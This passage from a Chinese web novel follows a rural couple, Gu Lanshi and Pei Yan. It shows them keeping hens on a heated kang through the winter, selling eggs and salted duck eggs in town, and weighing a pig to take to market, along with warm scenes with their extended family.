最近裴厌没有去送鸡蛋,一来鸡蛋少,顾兰时还想给他俩攒一些吃,而来酒楼酒馆鸡蛋暂时够用,不必去送,他只往镇上拉了两回干菜以及菘菜萝卜还有毛栗子山核桃等一些山货。 后边也清闲了,隔七八天去送一趟货,要么就先过去问问,看缺什么,像活鸡活鸭这些,只要楼里吃完了,他想个法子收几只,给送去就行。 比起之前摘菜送菜,忙忙碌碌来回跑,一下子轻松多了。 傍晚,天还没黑。 顾兰时端着食盆推开西屋门,在热炕上睡觉的母鸡听见动静,咕咕咕扇动翅膀飞下来,冲过来低头在食槽里猛啄。 食槽是裴厌用一段木头挖的,在屋里养了十五只母鸡,足够它们用。 原本想挑二十只养进来,又怕养太多屋里拥挤,鸡粪一多的话,从屋子里传出来的味儿不好闻,潮了湿了母鸡也容易生病。 屋子里不免有些味道,他倒完食,又拍拍盆底,彻底空了之后才把木盆单手拎着。 视线在母鸡身上一一扫过,没有蔫头巴脑的,他这才放心。 裴厌从外面进来,拿了扫把、铁锨还有粪篮子。 炕已经烧热,外头没多久就黑了,没必要开窗,白天的时候已经透过风了。 虽如此,鸡粪还是要勤拾掇,他俩一天要收拾三四回,屋里不比外头的鸡圈,地方不大,没那么宽敞,要是臭烘烘的,还连累堂屋和东屋那边。 地上铺了沙子,角落里还有一小片草木灰,鸡粪会落在上面,连鸡粪扫走铲走之后,地面不会太湿。 隔几天他俩还会烧青药叶熏熏屋子,最后药灰也会撒在地上,一来遮遮臭味,二来药灰也能防防病。 炕上铺了厚厚的稻草,母鸡就把土炕当成窝,还是热乎乎的。 以前在鸡圈时,有母鸡不入窝在外头睡觉,这回十五只没有一只不稀罕热炕,争抢着往炕上飞。 抓鸡时裴厌特地在其中挑肥一点、壮实的抓,母鸡羽毛又厚,一只只窝在炕上时,瞧着圆墩墩的。 顾兰时把木盆放在门外,进来后径直往炕边走,去摸炕上的稻草里有没有鸡蛋。 母鸡把热炕当鸡窝,上面鸡粪很少,倒是方便了他。 找到三个鸡蛋,顾兰时眉眼微弯,又探手进稻草底下的炕面,说:“热着呢,又有三个。” 外面养的母鸡已经很少下蛋了,屋里头每天能摸几个,少了只有两三个,最多的时候,一天下来拢共捡了十枚,对他俩来说已经很满足。 裴厌用铁锨把一小片鸡粪铲到粪篮子里,抬头说:“吃过饭我记得有两个。” “嗯,今天一共五个。”顾兰时笑眯眯的,两手拿着鸡蛋往外走。 装鸡蛋的大肚瓮之前空了后,裴厌就搬进了堂屋,灶房有水缸冬天太冷,瓮里依旧铺了谷糠,已经放了一层半鸡蛋。 而旁边的旧木箱子里放了些十几枚没有腌的鸭蛋,同样有谷糠麦麸垫着盖着,哪天要是想吃炒鸭蛋,自家就有的吃,方便。 拾掇完西屋后,裴厌出来,顺手把门上的绳子挂在墙上木钉上,绳子稍长一点,这样房门能留一点点缝隙,也不怕母鸡跑出来。 顾兰时把蛋瓮上的石板盖子盖好,直起腰说道:“明天该泡点大蓝根,煮水给鸡喝。” 他想了一下,又说:“干脆多泡点,烫食也用这个水。” 冬天在屋里养鸡,人进来进去,热气冷气来回交杂,母鸡容易病,因此更仔细。 大蓝根是药材,还有能喂鸡的其他草药,像车前草、野山菊还有艾草蒲公英什么的,家里都有。 这些是最常见的药草,平时出门打草挖野菜都能看见,这会子外头已经没有鲜的了,不过干的泡开后依旧能用。 大量养鸡后,顾兰时爹娘还有方红花都嘱咐过,怕母鸡闹病,交代了这些能给鸡治病的草药,平时他俩挖回来,也无需别的法子,直接剁碎喂鸡鸭,就和别的鸡草一样。 而刚才倒给鸡吃的食里,就有干艾叶磨的粉。 还有马齿菜,也是药草,平时就会挖了喂鸡鸭,要是懒得煮水,就把马齿菜干子泡开,剁一剁丢进食盆里让鸡吃。 他夏天趁着河边马齿菜最多最旺盛,晒了两麻袋干子,塞的还挺实在。 去年也是马齿菜最多,冬天没事了他就包包子和裴厌吃,都有点吃烦了,但不囤心里又不安,如今总算找着个去路。 煮水也好,磨药粉也罢,无论吃还是喝,都得进到鸡肚子里。 不止屋里养的母鸡,外头母鸡母鸭隔三差五也给吃好点,来年春天才能使劲儿下蛋。 “行。”裴厌答应一声,提起粪篮子往后院走。 粪都堆在后院,如今养的猪多了,粪肥也多,明年给地里上肥就不缺,只要老天爷赏脸,明年收成说不定会多一些。 天渐渐黑了,两人舀水盥洗,又端了热水进屋烫脚。 从窗户里透进来的光很暗淡,只是泡脚而已,用不着点灯。 顾兰时耳朵尖鼻子也灵,闻到一点气味后,笑着说道:“明年要是新起一间屋子,还是盘个炕吧。” 知道他什么意思,裴厌动了动热水里的脚,弯唇笑了下,开口:“好,到时候找人来盘炕,弄结实点。” 不是非要花这个钱,有的东西还真得懂这行的人来弄,他倒是能上手,只是手艺肯定不如人家,万一炕塌了,把母鸡砸伤砸死,鸡折损了,还得费工夫修缮,何必找这个麻烦。 说起来不少人家养鸡都是散养,公鸡母鸡在院里屋里溜达,有些不怕人的鸡,还会扑上桌子跟人抢食,甚至会拉在桌上,在村里都见惯了,对味道自然没什么太大反应。 而他俩之前养鸡都是在外面,有时候味道会顺着风飘进院里,但离得这么近还是头一年,难免有些不习惯。 再想到寒冬时,外面太冷不敢开窗开门,味道肯定更大,顾兰时才动了这个心思。 住的地方干净一点总是没错的。 擦干脚,顾兰时上炕脱衣裳,等裴厌倒完水进来,他已经把衣裳塞好,钻进热乎乎的被窝。 “明天去镇上吗?”他露出脑袋,把被角掖得严严实实。 外头天黑了,屋里没点灯,只能看见黑乎乎的轮廓,裴厌摸上炕,很快脱了衣裳也躺进去。 炕烧的热,烫了脚也舒坦干净,几乎是让人不想离开的地方。 天冷了,两人各一条被子,省得另一人翻身时把热气漏了。 裴厌翻个身,侧躺面对着里头的人说:“去一趟,反正家里没什么要紧事,带点鸡蛋咸鸭蛋,打听打听市价如何了,你去不去?” 顾兰时想一下,说:“去的话也行,明天应该没啥事,还带别的吗?” 裴厌开口道:“酒楼酒馆估计干菜还没用完,先不带,就当去镇上逛逛,少带点东西,也能赶早回来。” “好。”顾兰时打了个哈欠,又说:“明天回来买几斤肉,炒肉片子下饭吃,肉片子也能弄蒸碗,吃饭时热一热,就能夹馍。” “嗯,多买点,剁了汆肉丸子,煮丸子汤吃。”裴厌顺着他的话也有想吃的了。 “行,这个不难。”顾兰时答应着,许是这几天没怎么吃肉,他心思又转回刚才的蒸碗上。 蒸碗用的肉片子一般肥瘦相间,爱吃那一口香浓油脂味儿的,更偏爱肥多,夹馍时肉香油香,要是再夹点泼好的辣子油,就更香了。 光是想着,顾兰时就咽了咽口水,说道:“明儿回来了,我切肉,你把石臼搬出来,磨一碗辣子面,用热油泼了,也能夹馍。” “好。”裴厌低声答应。 入夜了,附近没有人家,除了他俩的说话声,外头很安静。 “不行,不能再说了,再说下去,非得爬起来吃一顿。”顾兰时忍住对吃食的想法,将被子裹紧,嘴巴鼻子也盖住,只剩半张脸在外面。 裴厌轻声笑一下,没有出声,万一再说到什么吃的,大晚上这么冷,总不能真爬起来找东西吃。 * 夜里没起风,又是一个好天气。比起之前,即便太阳很好,该加的衣物还是得加。 要赶车,一路迎冷风,人人都会穿厚实,冬衣一上身,不免看起来臃肿。 顾兰时把咸鸭蛋一枚枚塞进蛋筐里,这些是之前用陶罐腌的,已经煮好了,是为他俩吃的时候方便,去卖也不怕路上磕碰,里头熟了,就算磕破一点,不会有蛋液流出来。而用缸腌的百十来个还没到时候呢。 他抬头看向一旁装鸡蛋的裴厌,说:“不多了,先带十二个?咱们还得吃。” 裴厌开口道:“行,今天只是探探市价看看行情。” 顾兰时不再装咸鸭蛋,过来和他一起往格子里塞鸡蛋,正忙着,趴在门口的狗冲外面叫,两人不约而同看过去。 方红花背着手,从进篱笆门就左看看右看看,大菜地的变化都在她眼里。 太阳出来以后,她闲着没事,在村里瞎溜达,转着转着见到村后了,干脆过来看看。 “阿奶。”顾兰时喊一声,见她一副巡视的模样,就知道没别的事,又和裴厌装鸡蛋。 跑出去的狗见是熟人,不再叫了,方红花拍拍灰灰脑袋,灰灰尾巴一下子摇的很欢快。 “阿奶。”裴厌见她进来,正好鸡蛋装完了,连忙倒了碗热茶。 方红花接过茶碗喝一口,问道:“车都套好了,这是去镇上?” 顾兰时把鸭蛋筐子拎过来放一起,笑着说:“今儿没事,能卖几个是几个。” 方红花点点头,很快喝完茶起身要走,不愿耽搁他俩的事,要不是刚才溜达一路真渴了,都不想让裴厌倒茶,耽误事不是。 “阿奶,给你拿两个鸭蛋回去吃,煮好的。”顾兰时摸了两个熟鸭蛋塞进她手里。 方红花笑眯眯的,也没推辞,把两个鸭蛋藏进袖子里,跟他俩一起往外走。 第165章 毛驴由慢至快,在官道上跑起来。 风在耳边呼呼吹,顾兰时抬手把围脖子扯高了点,把耳朵也包住,头上还带了帽子,帽边挡住额头,一张脸几乎只剩眼睛露在外面。 他双手插进袖子里取暖,腰背微弯,胳膊搭在大腿上,整个人随着板车颠簸而晃动。 路上其他赶车坐车的人也是这般模样,要不包严实点,冻得流涕还是好的,吹的脸疼耳朵疼才最难受。 走路的人也不少,背着筐子挑着担,走累了就在路边歇一歇,尤其上了年纪的。 有走不动道的人,又不想花钱坐车,只能一边慢慢走一边回头看,企图遇到个赶车的熟人,运气好还能被捎带一程,要是没碰见相识的,就只能慢慢往前磨。 驴车一路奔至宁水镇外,慢下来后,裴厌见前头有几辆车,排着往里面走,他没有着急。 路边空地上,看车的陈三儿双手插袖,带着狗皮帽子,不断吆喝揽客,他今天生意不是很好,只有一辆骡子车拴在那里,见又有车过来,他认出是裴厌,看出对方没有放车的意思,只嘿嘿笑着,朝裴厌点点头。 裴厌同样颔首,算是招呼过了,没有多言语,从陈三儿摊子前过去。 见镇口进得慢,顾兰时直起腰说道:“我下来走着。” 坐了这么久,即便穿得厚,依旧觉得腿脚不热乎,得走动走动。 闻言,裴厌从扯住缰绳,让毛驴停下,自己也从车上下来,走到前面牵起绳子。 因惦记车上的蛋,顾兰时没有去前面,跟在板车旁边走,万一没看住,被胆大的直接伸手进竹筐里掏,逮住还好,没逮住人家跑了,都没处说理去。 前两天孙安来镇上就遇到这事,他来卖干菜,用麻袋装着,颠了一路袋口开了点,人家悄悄走到板车跟前抓两把就跑,他一个人,不好撇下骡车去追,着急上火,却没别的办法,只能在后边骂,末了把散落在车上地上的干菜捡起来,幸好被偷的不多,就那两把。 据孙安所说,他还算警醒的,被偷的时候立马发现了,可惜那贼汉子脚下太快,当时附近行人也少,忽然有人跑起来,大伙儿估计都是懵的,没人帮着阻拦。 现在想想,估计是贼专门挑街边人少时,对车辆下手,甚至都不能叫偷了,和明抢没什么差别,也不知是不是饿狠了。 冬天了,家家户户的粮食菜蔬都金贵,也就手里有余粮的,才倒腾一点出来卖钱,对偷东西的贼,自然人人厌恶,要是人多,指不定就有出手的,毕竟逮着贼对其他人来说也是件好事,万一自己被盯上呢。 不过据孙安所说,那人手脚俱全,还是个年轻汉子,不知是太懒还是怎么,身上衣裳还算完好,只是太脏,十分邋遢。 他们宁水镇算不上什么大富大贵的地方,这些年还算安稳,近十年都没遇到过灾荒,前几年打仗也打赢了,正是盛年光景,田税徭役并没有那么繁重。 即便是穷人,卖卖苦力亦或是到处挖野菜充饥,总不会饿死,尤其年轻汉子,去码头日常守着,总能遇到活,扛扛大包都能挣几个钱。 小河村人都说估计是个懒汉,不愿干活,到冬天没东西吃了,就跑出来偷或抢。 顾兰时不知道那人究竟是个什么样子,也想不出来,毕竟不认识,他想的简单,鸡蛋鸭蛋可不能被偷了,得好生盯着,不能叫人钻了空子。 “鸡蛋——” 两人不约而同看向从巷子里出来的妇人,一手提着竹篮另一手还揪着个五六岁的小男孩。 小孩帽子歪了,看见不远处有其他孩子,一个劲儿想扯开他娘的手,喊着要去玩,他娘犟不过,边骂边叮嘱:“该死的!就给我在这条街上,要是我卖完鸡蛋回来找不到你,你给我等着!” “听到没有?”妇人揪着儿子耳朵问道。 “知道了娘,知道了。”小孩玩心重,耳朵被揪疼干嚎了一声,目光还是落在那一群孩子身上,恨不得立马冲过去跟他们一起玩。 “小柚儿!小柚儿!带二牛不许跑远!”妇人冲着那群孩子喊道。 “二娘,知道了。”一个流鼻涕的大男孩高声答应,手上勾着铁环继续往前滚。 一群小毛孩子吵吵闹闹,妇人这才放开自己儿子,见小毛崽子急吼吼跑过去,她在后头骂骂咧咧两句,又吆喝着卖鸡蛋。 见有人看过来,她忙着招呼:“小哥儿要买鸡蛋?” 顾兰时突然被问到,他只是下意识想听听别人的价钱,不曾想,人家以为他要买鸡蛋。 妇人卖鸡蛋补贴家用,也不顾他没言语,只想招揽生意,忙不迭道:“我鸡蛋便宜,才五文钱一个,哪像人家,都卖到六文了,那价钱贵的。” 对方一副期待的模样,又如此殷勤,让顾兰时都不好意思说自己也是卖鸡蛋的,尴尬的笑了下。 见状,裴厌刚想开口拒绝,恰好街上其他人听见蛋价,一个从镇外进来,但衣着体面、头上戴了抹额的老夫郎询问道:“五文?” 妇人连忙往老夫郎跟前凑,让他看自己存下的鸡蛋,说:“可不,便宜呢,这是自家养的鸡,下蛋存了些,老嬷瞅瞅,都是好鸡蛋。” “走吧。”顾兰时对前面裴厌说一声,两人都加快了脚步。 小巷落在后面,走远之后,没有碰到其他卖鸡蛋的,天一冷,这东西就少了。 “咱们卖什么价?”顾兰时问道。 裴厌让毛驴停下,回头说道:“看那样子,鸡蛋卖五文好卖点,估计这几天就是五文六文的行情,要不就卖五文,反正今天带的鸡蛋不多,鸭蛋七文不能少了。” “行。”顾兰时觉得有道理,六文钱估计不少人都觉得贵,还没到蛋钱更高的时候呢,今天来转转,早点卖完就回去了。 至于咸鸭蛋,一斤盐十斤鸭蛋,就算只卖七文,也是能回本的。 “鸡蛋咸鸭蛋——便宜了——” 裴厌牵着毛驴往前走,先吆喝了两声,见看过来的多是妇人夫郎,他一个汉子,不好跟人家多说。 两人出来卖菜卖蛋习惯了,顾兰时适时在后头笑着跟人搭话询问。 * 十二个咸鸭蛋卖了八十四文,鸡蛋只带了三十个,尽管五文也有人嫌贵,但最后还是卖光了,一共到手二百三十四文钱。 “二三四,还挺好记。”顾兰时眼睛微弯,脸上挂着笑意,和裴厌并肩走在前面,板车上只剩两个小蛋筐和一个空竹篮,不用再费心看着。 再往前,转过街角,另一条街道往里走,就是猪市了,今天要买点肉回去。 猪市是活猪买卖交易的地方,而在较前的街道两旁,开了不少肉铺,再往里才是一片开阔的空地,和牲口市一样,有棚子和木栏,还有栓绳的各种木柱,好把猪关住拴住。 “啰——啰啰啰啰。” 有人赶着猪从旁边经过,那猪跑得还挺快,主人在后面快步撵,引来不少人的目光,走在对面的人一看大肥猪冲过来,连忙躲了躲。 想起自家的猪,顾兰时转头说道:“咱们什么时候卖猪?” 裴厌开口道:“先过去听听价,要是价钱涨了,过几天先卖一头。” “好。”顾兰时在心里盘算,就算价钱不行,一头肥猪称下来怎么也在二两银子左右。 到猪市一条街后,不少肉铺生意都不错,他俩随便在一家门前停下,前头有人正在割肉,一听带肥的好五花一斤都二十二了,不带肥花膘子的瘦肉便宜一点,十九文。 再听一耳朵隔壁和对门肉铺,价钱都一样,有熟人的,自然去熟人铺子里买,和肉铺不相识的,随便找一家不会吃亏。 顾兰时不由想起今天卖的钱,也就能买十斤左右。算归算,该买还是得买,有肉吃才好过寒冬。 裴厌转头问道:“买多少?” 他想了一下,说:“五花买上四五斤,再买三斤瘦肉,骨头棒子想不想吃?” “行,骨头也买几根。”裴厌说完,见前头人提着肉走了,他把毛驴绳子交到顾兰时手里,自己上前买肉。 骨头便宜,一根大骨棒回去炖汤,还有六根排骨,裴厌连肉带骨头放进竹篮里,再用布盖上。 这些足够吃一阵子了,今天蛋钱正好相抵。 买了肉以后,顾兰时不放心,生怕和孙安一样遇到明抢的,又走回板车旁边。 两人没有往镇口那边走,而是继续往前,在猪市打听生猪市价。 收猪的人大多都是为了宰杀卖肉,除了宁水镇,还拉去别的地方卖,有钱的会带回去自家吃,百八十斤一头肥猪已然不错,宰杀后刨除脏腑骨头之类的,净肉并没有那么多。 因此比起肉铺里的肉,生猪价自然会低一点,一个普通肉铺杀一头猪,好的时候能净挣两三钱,一个月若能卖十头猪,甚至更多的话,比起多数人日子都富足。 顾兰时看见几头两百斤的大猪,几个汉子合力抬着棍子称猪,被捆住脚的猪没有捆嘴,惨叫声很大。 他俩一边走一边看,行话裴厌都懂,听了一阵子后弄清了,两百斤的大猪不说,一百八十斤的猪能卖到两千文左右,也就是二两,和他之前所想一样,每年这个时候的猪价都差不多。 “走吧。”裴厌说着,牵毛驴进了旁边巷子,从这里也能绕到西边的街道。 顾兰时跟上,想了一下开口:“咱们的猪,小的有一百七?” “差不多,轻也轻不了几斤。”裴厌在前头说道。 他俩不是什么养猪好手,但该给猪吃的草料都有,喂得都不错,最大的那头公猪,也在二百斤左右呢。 数目一大,顾兰时就得伸出手指来算,边走边慢腾腾说道:“一百七的话,毛重十二文一斤,嗯……正好两千文。” 他这么一算,让裴厌曾经的念头浮现,卖一头猪直接到手二两银子,这也是为啥大伙儿都养猪的缘故,年底好歹能挣一点。 驴车要拉猪,就坐不了其他人,顾兰时没办法跟来,倒方便了他。 心思转了几转,裴厌没有流露出分毫,只在前面走。 顾兰时一无所知,还在算他俩今年要卖六头猪,一头二两的话,就能卖十二两银子,笑容不由绽放,走路都轻快了几分。 路过来福酒楼时,门口的伙计认得他俩,笑着打了声招呼。 见楼里生意不错,上午就有人喝酒点菜,走远之后,顾兰时想起之前楼里要了三百多鸡蛋,说:“后面什么时候再给酒楼送鸡蛋?” 迎面有人牵了一头水牛走近,裴厌拉着毛驴避了避,等避开之后,又往前走,开口道:“估计还得一月左右,上回见吴厨子,他没有提送鸡蛋的事,应该还多着。” “那都到冬月里去了。”顾兰时顺口说道,寒、冬、腊三月,如今已到了寒月。 裴厌开口:“冬月雪多,下回再送干菜我问问,能提前送就送了,要是下雪送不来,就没办法了。” “嗯。”顾兰时刚才也在想这个,指不定哪天就下雪了,万一是大雪,路难走,鸡蛋这东西又不像干菜好运,就是活猪也能赶着来镇上。 * 回到村里太阳已经大了,不少人坐在院里、门口晒太阳。比起前面的忙碌,冬天能说闲话的工夫更多。 见方红花在大树下和几个老太太老夫郎闲聊,许是吵嘴了,一个两个脸色都不好,却也不离开,只用眼睛斜对方,鼻子里哼两声。 顾兰时从板车下来,见状笑了下,人多就是这样,总有说不到一块儿的时候,让裴厌先走,他在村里说几句闲话。 见方红花也是不痛快的一员,他笑道:“阿奶,我头先绣了块手帕,你过去看看。” 知道他从镇上回来,许是买了什么,方红花一下子喜上眉梢,心里的不痛快烟消云散,提了板凳起身,对着其他人笑道:“嗐,你们唠,我先走了。” 小老太太没有顾兰时高,脚下可不慢,利索极了。 到家门口后,见爹娘还有弟弟弟媳都在,和四邻说笑玩耍,正热闹,顾兰时想了一下,没有喊他爹娘过去吃饭,买的肉多,回头汆了丸子送来就好。 外头人多,多说容易显得就他爱现眼。 苗秋莲正和刘桂花一阵大笑,转头看见自己儿子,脸上笑意不减,说:“兰时,我就说,刚才姑爷过去了,说你们早上往镇子跑了一趟。” “这不没事,带了几个鸡蛋鸭蛋去。”顾兰时没有隐瞒。 对面王家婶子听了,忙问道:“如今蛋价多少了?” 顾兰时开口:“鸡蛋五文,也有人卖六文,咸鸭蛋七文,倒是没见有卖八文的。” “六文。”王家婶子咂咂舌,二十个鸡蛋就有一钱多了,每年还是这个时候价高,可惜蛋少了,攒不下几个,要么就得把母鸡供起来伺候。 “今天卖六文的还是少,再过段时日,平价就该到六文了。”顾兰时说道。 苗秋莲刚想张嘴,又闭上了,转头和婆婆说起闲话。 顾兰时和裴厌在屋里养鸡的事只有他们自家人知道,顾铁山心细,特地嘱咐了家里不让声张,后山离村里远,除了自家人,很少有人会过去串门子。 虽说一个村子,没什么能瞒住的事情,估计再过段时间就传出去了,但少些张扬总是好的。 说笑一会儿,顾兰时朝方红花使个眼色,目光不小心和花惜霜对上,他忍不住笑了,也朝弟媳和竹哥儿悄悄招了招手。 小老太太笑呵呵的,也不同人说话了,跟着往村后走,花惜霜被兴冲冲的竹哥儿拉着,一起跟上。 苗秋莲在后头看乐了,这婆孙几个,还有小九九呢。 自己儿子,她没有多在意,和邻居几个又开怀聊起来。 走出村子后,几人沿着小土路往树林里去,顾兰时笑着说:“阿奶,我买了大骨头棒子,正好,离晌午饭还有一个时辰,回去就炖了,到饭时有骨头汤喝。” 竹哥儿年纪小嘴馋,花惜霜爱吃,两个人眼睛亮了,高兴的不得了。 比起圆润羞涩的小嫂子,竹哥儿显得更机灵点,毕竟他和顾兰时之间什么话都说,这会子殷勤道:“兰时哥哥,我来给咱烧锅。” 顾兰时笑了,说:“好,你来给咱烧。” 老少几个高高兴兴的,出树林子后,前面就是院落了,裴厌已经开了门。 还没走到跟前,顾兰时听见后头狗儿的声音,几人都回头去看。 顾兰瑜今年又长高了一点,较黑较瘦,一双眼睛却天生很亮,眉深鼻高,也是个端正的长相。 他大步追上,笑着开口:“好啊,我就知道,你们背着我,一定是有好吃的。” “谁说的?”顾兰时不承认。 顾兰瑜冷哼一声,说:“刚才我跟在你们后头都听到了,什么骨头汤肉片子,别以为能瞒过我。” 他说着,竟越过几人,先往篱笆门里跑。 顾兰时一愣,随即笑出声,骂道:“狗耳朵够尖的。” 狗儿,也就是顾兰瑜回头说道:“谁让你们那么大声,我又不是聋子。” 说完,他率先进去,等顾兰时几人进院门,他已经坐下喝茶水了。 裴厌笑着看向顾兰时,说:“说你偏心眼,单单没叫他。” 顾兰时卷起袖口,白弟弟一眼,说:“从小就会告状,哪回少你一口吃的了?” 他往灶房走,经过狗儿的时候直接伸手指,一指头戳在弟弟脑门上,狠狠点了一下。 花惜霜心思很单纯,见狗儿一副兴师问罪的模样,心里不免为自己只顾吃的,把夫君给忘了的事而感到惭愧,脑袋都低下了。 愧疚还没维持一下,她就被竹哥儿拉进灶房帮忙,忙着忙着,闻到锅里飘出来的肉香味道,又把刚才的惭愧抛在脑后,不过这回还好,起码记着等会儿要给狗儿舀一碗骨头汤。 院里有太阳,方红花跟着裴厌和顾兰瑜吃茶说闲话,乐呵呵的。 狗闻到肉味,大黑还好,灰灰灰仔两个忍不住,直接在灶房门口叫,哈喇子都流到地上了。 顾兰时转头就看见狗嘴巴里流淌下来的口水,笑骂道:“真没出息,又不是没闻过肉味。” 嘴上这么说,他还是往锅里下了三片切好的肉片子,煮了一煮,捞起来丢给狗解馋,这之后任凭灰灰灰仔如何嚎叫撒娇,他没有再给吃肉,后边有骨头和肉汤呢,而且阿奶弟弟都看着,不好在他们面前太惯着狗。 太阳爬高了,正到饭点。 桌子放在院里,就顺势在外面吃饭。 炖了将近一个时辰,骨头汤那叫一个香浓,干辣子蒜末炒肉片更是看着诱人,红红辣辣的,十分下饭,肉量又足,还炒了一大碗菘菜。 骨头汤没有全部盛出来,一人舀了一碗,剩下的在锅里,一直都是热的。 家里很久没有这么多人吃饭了,裴厌也高兴,为让其他人多吃两口肉,他克制了一下饭量。 顾兰时也是先紧着方红花几个吃肉喝汤,全程笑眯眯的,一点不觉得心疼。 饭饱之后,竹哥儿和花惜霜很有眼色,去洗了碗筷收拾好灶台,临走时顾兰时还让狗儿端了一大碗骨头汤回去,他爹娘傍晚饭时热热就能喝。 用肉汤泡了糙馒头,狗把食盆舔的干干净净,吃饱后找了个地方趴下,舒舒服服眯起眼睛晒太阳。 冬天吃肉暖洋洋的,不想当天夜里就起了风,第二天醒来,天阴沉沉的,没多久就有零星雪花飘落,初冬头一场雪来了。 裴厌收拾完西屋,在院里洗手,用野澡珠洗干净后,撩水冲掉手上的白沫子,有几片大的雪花落在他衣袖上。 他起身擦手,抬头看一眼远处天边,不知道这一场雪大不大,原想这两天去卖猪的,只能再往后推推了。 * 初雪没有那么凌厉,地面一层薄雪在太阳出来后没留下多少痕迹。 后院猪圈传来一阵高声猪叫,没多久,裴厌和顾兰时用长棍抬着一头猪出来。 抓猪裴厌出力多,捆住脚绊倒猪更是手疾眼快,顾兰时说是给他帮忙,实际只有站在一旁干看着的份儿。 “不行不行。”顾兰时走了几步喊停,比起上回搬粮缸,抬猪确实更艰难点,搬粮缸慢,猪虽然被捆了脚,时不时还挣扎一下,在长棍上乱动。 裴厌立即跟他一起卸下肩上棍子,肥猪背部着地,被捆住嘴巴没法儿像刚才那样嘶叫,只扭动着。 歇了一阵后,两人又抬起猪,最后好不容易把肥猪弄上板车,顾兰时哼哧哼哧累得不行。 第166章 毛驴耳朵动了动,猪被捆住嘴巴,依旧能从喉咙鼻子里哼哼哼。 狗看见肥猪被抬上板车,都竖起耳朵看,几个轮流过来在车后闻闻,猪脚被捆住动不了,猪尾巴甩动,打在板车上。 灰仔好奇心很强,两只前腿直接扒在板车尾,人立起来看猪。 猪肚子很肥,喘气呼吸时肥肉都在颤,它看着看着叫了两声,见猪没有动弹,又呜一声从车上下去,不再感兴趣了。 顾兰时大口喘着气,手里的长棍拄在地上,太阳挺大,他眯着眼,看裴厌把板车上的猪用力往车前面拽了拽,又取来麻绳捆了几圈。 “有一百八十斤吗?”他问道,家里没有称猪的大杆秤,加之两人身高有点子差距,刚才抬猪时,他扛着木棍在肩上,裴厌在前面得弯弯腰配合,不然就倾斜了,如此也不好称猪。 裴厌琢磨了一下,说:“应该有吧。” 虽然去镇上猪市都有大杆秤,而且称的时候大家都会看一眼准星,但一般在自家称过才放心些,外头总有不厚道的人。 他想了想,又开口道:“不行的话,等下在家门口停下,烦岳丈和狗儿帮忙称称。” “这样好。”顾兰时说道:“那我跟你一起去。” “行。”裴厌点点头,随后简单拾掇了一下,带上该带的东西,等顾兰时从屋里拿了钥匙出来,这才牵毛驴往外走。 顾兰时把荷包递给他,说:“给,带着,里头我都数好了,三十文,路上万一有什么,又或是饿了渴了的,就买点吃的喝的。” 今天只去镇上卖猪,宁水镇再远,也不是什么远路,带个三十文“盘缠”肯定是够了。 裴厌笑一下,接过荷包揣进怀里。 狗跟着车一直到篱笆门,见没有喊它们出去,三只都很乖,蹲坐在门后看着他俩关上门,没有乱跑。 晒了几天,地面大部分都干了,有些背阴处的薄雪消融,泥泞还未干。 顾兰时和裴厌常常走林子里的较宽处去村里,平时又要赶车,早已走出一条小道。 村后的林子不像山上那样密,只有几棵老树比较粗壮,余下的都挡不住人,加之冬天又没有树叶遮蔽,几乎一眼就能看到从林子那边走过的几个人影,扛着长斧头,还背了麻绳,应该是去山上砍柴。 离得远,冬天又穿得厚,没看出来是谁。 毛驴拉着肥猪任劳任怨往前走,等到了顾家门口后,见院门开着,想必都在家,顾兰时一边进去一边喊:“爹!” 二黑今天放出来了,摇着尾巴跑来,咧嘴像是在笑,跑到顾兰时跟前往他腿上扑,一副激动的模样。 顾铁山在屋里听见,出来见是他俩,笑问道:“怎么了这是?” 顾兰时揉揉二黑脑袋,起身说道:“爹,裴厌去镇上卖猪,想用大杆秤先称称,看多少斤。” “行,我去拿。”顾铁山往杂屋走。 没见弟弟人影,顾兰时喊道:“狗儿?” 谁知顾兰瑜的声音从隔壁院里响起,隔着土墙传过来:“我这这儿!” 顾兰时走到墙根下,开口:“回来,和爹还有你厌哥哥称一下猪。” “好!” 坐在周家院子里和周石头闲聊的狗儿起身,周石头和他家交情不错,于是也跟着帮忙,毕竟称猪是个重活,多个人出力更好。 顾兰瑜一出来就看见停在自家门口的板车,车上拉了头肥猪,裴厌正在解麻绳。 他俩上前帮着一起解开,打量几眼肥猪,说道:“厌哥,这怎么都在一百七朝上吧。” “嗯,我估摸着有一百八。”裴厌说道。 顾铁山拿了一杆大秤出来,几人就在门口钩绳抬猪,合力把肥猪吊起来。 “一百八十五。”顾铁山说道。 称完后几个汉子又把肥猪放回板车,狗儿手脚麻利,帮忙把猪捆好。 顾铁山见他俩猪养的不错,很是满意,想抬手拍拍裴厌肩膀以明他心中安慰,但一看高度,遂歇了这个心思,说道:“昨儿你永安叔去镇上卖猪,生猪价十二文,算不错的,去年这时候我记得是十一文,今年涨了。” 顾兰时听见,开口道:“爹,下雪前我俩去买肉,那天也是十二文。” 顾铁山点点头:“那今年涨价还比去年早几天。” 裴厌收拾好,笑着同众人道一声,先赶驴车走了。 “我娘他们不在家?”顾兰时问道。 顾铁山开口:“去你大伯娘那边织布了。” “行,那爹,我过去转转。”顾兰时说完,见驴车在前面还没出村,他没有喊,也不着急,一边往祖宅走,一边和坐在门前晒太阳的村里人打招呼说笑。 到祖宅后,方红花领着几个曾孙玩耍,他大嫂张春花和两个小侄儿也在,他逗着小孩玩一阵子,又和阿奶说两句闲话。 堂屋里,苗秋莲几个正在织布,今天太阳好,屋里明亮,竹哥儿在旁边学,时而上去穿两下梭子。 花惜霜没出阁前她娘就教了织布,只是不如苗秋莲几个长辈更老练。 看见织布机子,顾兰时才想起之前和裴厌商量好的,找徐木头问问价做一架,可惜今年实在太忙,给忘得死死的,一直没想起来。 今年种了一片苎麻,收了两茬,剥泡绩线一等繁琐的东西他都会,闲了时弄一弄,如今攒下不少麻线团。 但他手里布匹和麻布都有余的,一直不需要织布,也是有这个缘由,才没记起。 “兰哥儿,想什么呢?也要织布?”方红花问道,又说:“你三伯娘说了,明儿要是天好,她要过来织,后边还有你两个堂嫂,都跟你大娘说好了,估计要等几天。” 顾兰时目光从织布机子那边移过来,笑着说:“阿奶,我不织布,家里还有几块布,一时半会儿够用。” “够用就行,后边要是缺布了,来不及织的话,我这儿还有没用过的新布呢。”方红花说完,转头看了看堂屋那边,见里面人热热闹闹打趣说闲话,没人听到,她才放下心。 儿子孙子这么多,若被听见了,还要说她偏心眼,也不能给这个不给那个,只能私底下偷摸来。 顾兰时没有出声,只笑了一下以示自己知道了,不然阿奶还要东瞅瞅西看看,别人一瞧就知道有事。 